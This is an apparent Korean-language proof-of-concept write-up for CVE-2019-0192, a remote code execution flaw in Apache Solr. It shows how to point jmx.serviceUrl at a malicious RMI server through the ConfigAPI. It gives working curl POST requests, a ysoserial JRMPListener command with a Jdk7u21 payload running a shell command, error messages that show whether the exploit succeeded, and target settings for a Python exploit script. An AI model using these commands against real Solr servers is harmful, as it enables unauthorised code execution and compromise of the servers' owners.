
Apache Solr에서 jmx.serviceUrl를 통해 신뢰할 수 없는 데이터 역직렬화를 이용한 RCE
이것은 Apache Solr RCE의 초기 PoC입니다.
From https://issues.apache.org/jira/browse/SOLR-13301:
ConfigAPI는 HTTP POST 요청을 통해 Solr의 JMX 서버를 구성할 수 있습니다. 이를 악성 RMI 서버로 지정하면 공격자는 Solr의 안전하지 않은 역직렬화를 이용하여 Solr 측에서 원격 코드 실행을 트리거할 수 있습니다.

보안 권고 설명을 살펴보고 ConfigAPI Apache Solr 리소스를 확인하면 JMX 서버에 대한 참조를 찾을 수 있습니다:

serviceUrl - (선택적 문자열) JMX 서버의 서비스 URL입니다. 지정하지 않으면 기본 플랫폼 MBean 서버가 사용됩니다.
ConfigAPI가 작동하는 방식을 확인하여 원격 JMX 서버를 설정하는 방법을 재현할 수 있습니다:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
PoC에서는 Jdk7u21 페이로드를 사용하여 악성 RMI 서버를 생성하기 위해 yoserial을 사용하겠습니다.
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
참고: 500 오류와 함께 스택 트레이스가 표시됩니다.
이 오류가 표시된 경우: "Non-annotation type in annotation serial stream" 이는 Apache Solr가 JRE 7u25보다 높은 Java 버전으로 실행 중이며 이 PoC가 작동하지 않음을 의미합니다.
그렇지 않으면 "undeclared checked exception; nested exception is" 오류가 표시되어야 하며 PoC가 작동해야 합니다.
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
보안 권고: